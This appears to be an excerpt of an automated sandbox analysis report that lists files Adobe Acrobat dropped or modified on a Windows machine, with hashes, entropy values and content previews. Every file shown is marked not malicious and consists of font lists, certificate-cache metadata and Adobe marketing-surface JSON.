C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklZbMSRltfllXlE/HT8kzANNX8RolJuRdxLlGB9lQRYwpDdt:kKtSDeT864NMa8RdWBwRd
MD5:	3CE3C0BB0EF42F9B924A503253CC1852
SHA1:	CCB02B30AD3E0D99A804C5804C9B3E67DD598797
SHA-256:	9F056FB095C53628A5A01E027F8278ED554E092C8BB27A0511FE92DEE22FDFA4
SHA-512:	54CA7B213393A9EC7C59C3AD9F3CF576385A630EC3EA564CFC585F094D76A45E9038985ABEA15EF3568C8DCFD7F4118A43BF52A56F7D45EA468ECB7ACEF2B7D5
Malicious:	false
Preview:	p...... ..........X..c..(....................................................... ..........W....V...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kKTNM/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:6iDImsLNkPlE99SNxAhUe/3
MD5:	7FE3EAC61153D83CE5A3F4ED5756195F
SHA1:	3DDF689012224D07FE3158387CEE9C92203142BC
SHA-256:	0467FBEA7E16B03BD16EA0FC9D6C2B99AF32F266FA4C33B9643681AE06FC9491
SHA-512:	1F38F59BBBB01CB0E02BFF650774D5A5A2D37FF02A8EA1FF6270F5C3A50C542B26E756D721B126CC4D833197CDF16351243191224D1BB6CF2B0A1E7BDB75F4E8
Malicious:	false
Preview:	p...... .........T...c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3652

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3652

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.315045168579336
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQvQ/x+FIbRI6XVW7+0YvxUoAvJM3g98kUwPeUkwRe9:YvXKXuTYpW7QxnGMbLUkee9
MD5:	537ED6361FE479F8595308EB4E04785B
SHA1:	7DF9E8504D2477544810F343EECBEC1216C7C3ED
SHA-256:	DFEAD0F16C53286B1FE12DB4511790D76D8E8C5678E52FE9921DFF023401EC85
SHA-512:	D067375EEEB5CAA210F4D61ED14BE9F3DD81FEDA94EBA385B1F29EB96D09D8C7DB93E3BF58441F7E26E0F12226BD9900B8FDB33DC6E63DA1FD3FEFDDE85183FE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"453b0efa-9704-4352-bdc5-0902b25ceed1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711245453,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.252716007515426
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQvQ/x+FIbRI6XVW7+0YvxUoAvJfBoTfXpnrPeUkwRe9:YvXKXuTYpW7QxnGWTfXcUkee9
MD5:	C32021E8DF13CA33D36A9EC9FE4B217E
SHA1:	EAA9F4ADE948BA2FA8542608F73487C04A28C467
SHA-256:	69BA838712BF7BC1E5D16D3206BC0B92E60049246ACA83CFEC62E7483F8D26E4
SHA-512:	A6077653220A41931E80FC3B7BC77AAAC9F1175943660EBB767F059434AE43894540E7DAC15BC0064DB6FF8DC02FBA4654755D470F87FB48E3D077996A5D009B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"453b0efa-9704-4352-bdc5-0902b25ceed1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711245453,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.231537082561024
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQvQ/x+FIbRI6XVW7+0YvxUoAvJfBD2G6UpnrPeUkwRe9:YvXKXuTYpW7QxnGR22cUkee9
MD5:	CEB5E664C22C3445F422E4440A7EDED5
SHA1:	B55641BC02E419767CA20A814FFB2D11738A36F9
SHA-256:	24C08A7D8C665034D7B8A03FFAD31F405AF6011BF14A437183A8D42820A04169
SHA-512:	EBE106E1CE4DC2EC5A686FB6CA3FF0040FCA645A37FAD820C5CD6ADA8DCE64F89F3B26AB1C040E3243037159D998CDF6860E99AEDD38D9E71C8AD2DE12ED6DCE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"453b0efa-9704-4352-bdc5-0902b25ceed1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711245453,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.292242670172294
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQvQ/x+FIbRI6XVW7+0YvxUoAvJfPmwrPeUkwRe9:YvXKXuTYpW7QxnGH56Ukee9
MD5:	C890BB57CD1EB489572E025FBE58DEFF
SHA1:	5129B55F0B90F7E0A8E3F950BA02BC1C45871F0C
SHA-256:	5E29F4513D2490C16F8C0B9008018858D043D160879C5346176CA24ACB06A593
SHA-512:	83628DA859ED94A1A81C45A2909ED0080411710B927775CE30FA2E79D11CD0F3BE3FC61BA327306DC76489E6CF31A36CBE4A457FC119581AF2AF8B6E88559DA5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"453b0efa-9704-4352-bdc5-0902b25ceed1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711245453,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.681688845380228
Encrypted:	false
SSDEEP:	24:Yv6XuIiQxspLgE9cQx8LennAvzBvkn0RCmK8czOCCSGP:YvPvQGhgy6SAFv5Ah8cv/GP
MD5:	A502CAB02A04692384B4A9F5B8FF1C60
SHA1:	111B5486168FE08472F1554F2E297765794A1F76
SHA-256:	33C1A12DBD28846D49CD192616E2863EA07C00E1FA3F00F1DA156D9494CFE1E0
SHA-512:	4CDE32BE9A5197D938E34C4184E03DA44BC8ACD316C222B838931342D5C4C354F23A77C18B10C9E5C9174BC479627144F484DEF250CEF5EFBA34A5F39F239A64
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"453b0efa-9704-4352-bdc5-0902b25ceed1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711245453,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.236628046258064
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQvQ/x+FIbRI6XVW7+0YvxUoAvJf8dPeUkwRe9:YvXKXuTYpW7QxnGU8Ukee9
MD5:	5E7894FC483B8C02624728A0255E4DE8
SHA1:	A63458A2D13D2364FE0662C786AEE44B517EDC8A
SHA-256:	3D9FF9427253AE78923FEFC38E201B64ACF05A44C60C211D02E3BA3100784448
SHA-512:	21BCD5C4B81F96F5DA44BAB888EFEE26AA026A896BA80E82CB991135B2BADF910E029F1CE351806ADD5A53317BC20BF3AB8B00331EBCB41776806B231FDBD407
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"453b0efa-9704-4352-bdc5-0902b25ceed1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711245453,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.237668903282428
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQvQ/x+FIbRI6XVW7+0YvxUoAvJfQ1rPeUkwRe9:YvXKXuTYpW7QxnGY16Ukee9
MD5:	360F10BC51BC19EA3F6293ACF6D555C0
SHA1:	CC93A819712173634E4135C6505D70DA1F248D74
SHA-256:	50BECCE4FE52B456A3ADF19DAA9356789B4567D23EA8447F69DE6D6C15E719CB
SHA-512:	A1FD5EC72B3AD616E83523048D11835EB11539E1301B4886F6723AC8623370873A20FA5F9B7DB40A531A481E4AA570C5C7790BBA969BECA9F716C9B2E273635F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"453b0efa-9704-4352-bdc5-0902b25ceed1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711245453,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.257145105445936
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQvQ/x+FIbRI6XVW7+0YvxUoAvJfFldPeUkwRe9:YvXKXuTYpW7QxnGz8Ukee9
MD5:	D741192AB888B98CBF2748CF4E72FDB7
SHA1:	2D18E0F5734CC8C3CA6E998B9A9AB87D337447E8
SHA-256:	158790E273BCF046CB8D76ADE849452EBC886383A79E6287257426958BBAEFD6
SHA-512:	DF962EB2BE4B3B43C46148EFB9AD688DB5E14279F52F9286F9CCEF740A3AFC5689DC4BB3048665F3E592CDFCD8AE444D630CDBE7987B6604ECE7A52F9CC14FA2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"453b0efa-9704-4352-bdc5-0902b25ceed1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711245453,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.265099409946692
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQvQ/x+FIbRI6XVW7+0YvxUoAvJfzdPeUkwRe9:YvXKXuTYpW7QxnGb8Ukee9
MD5:	519922BE712B917B4F4C1F5773462B29
SHA1:	6EDE7C66D33C0975643BC63A5FFF9A1764D10DBA
SHA-256:	73CBB6EA39C25D36076E0FEADB007916233F29360767654E8E4E91AAF5897242
SHA-512:	A00FA41CB8A02940352D61FA880ECAFB8A758B31D0A44CF3B5456F07F8A10E26A5658EA58C4A3B716CA96DE5456962BFAAA2F99BD77F137F3FCD09378A0D5873
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"453b0efa-9704-4352-bdc5-0902b25ceed1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711245453,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.244322742030824
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQvQ/x+FIbRI6XVW7+0YvxUoAvJfYdPeUkwRe9:YvXKXuTYpW7QxnGg8Ukee9
MD5:	834BB89F4DC958F0967360D240C4F498
SHA1:	DE240D461DA41A1F4D323728B12DEA1EF7ABD33A
SHA-256:	34D18A97ED5A40F84059C8E34575A5798F0B6309ABD6CE6467412B4692ECD8FD
SHA-512:	7F546E83E49180010A7ABA87C91754677915D2C98A642EB460736441F10481C242AA59BB4A86E744B5149EA1B91259D9EBDA3F2490B488BF406F9B44403C7752
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"453b0efa-9704-4352-bdc5-0902b25ceed1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711245453,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.229974235059207
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQvQ/x+FIbRI6XVW7+0YvxUoAvJf+dPeUkwRe9:YvXKXuTYpW7QxnG28Ukee9
MD5:	AB66A081BBA243BDE002A57243486E76
SHA1:	D3DA7A50B84877ED9821EF0F044C8E2075A9BE3B
SHA-256:	32F47F430F239114698C8BF5A24E9C051E3095941A82C433AEBEDB1547526997
SHA-512:	91FF59429243E22427A3ED313A56028250AEFAB0387F98D256C936344310EEA6C6C9D7FC471C82F80A30DEFA76F7D7952B73C70BFE41A7A34BBB6CFB1B77FE10
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"453b0efa-9704-4352-bdc5-0902b25ceed1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711245453,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.228252501271485
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQvQ/x+FIbRI6XVW7+0YvxUoAvJfbPtdPeUkwRe9:YvXKXuTYpW7QxnGDV8Ukee9
MD5:	C294E6C0629973557F33076E00BA31CD
SHA1:	A50819D183319C80E4B607B7215BBEF57DE85AA1
SHA-256:	52610644B6273A61870DE29E1A347D91374573569292E1A7C078FB6E80A3173C
SHA-512:	17DA26841F7B7F40F8DAAFEE3D4E28C71D98E4DEF5738EC0F30C8716C5A08745F07E9447B6BD340775B8E92175991D493245FEEBD37EE7370C83BCE443EF7EA1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"453b0efa-9704-4352-bdc5-0902b25ceed1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711245453,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.228840683547896
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQvQ/x+FIbRI6XVW7+0YvxUoAvJf21rPeUkwRe9:YvXKXuTYpW7QxnG+16Ukee9
MD5:	4EC7573BD3E65247C2B30F1907EA7491
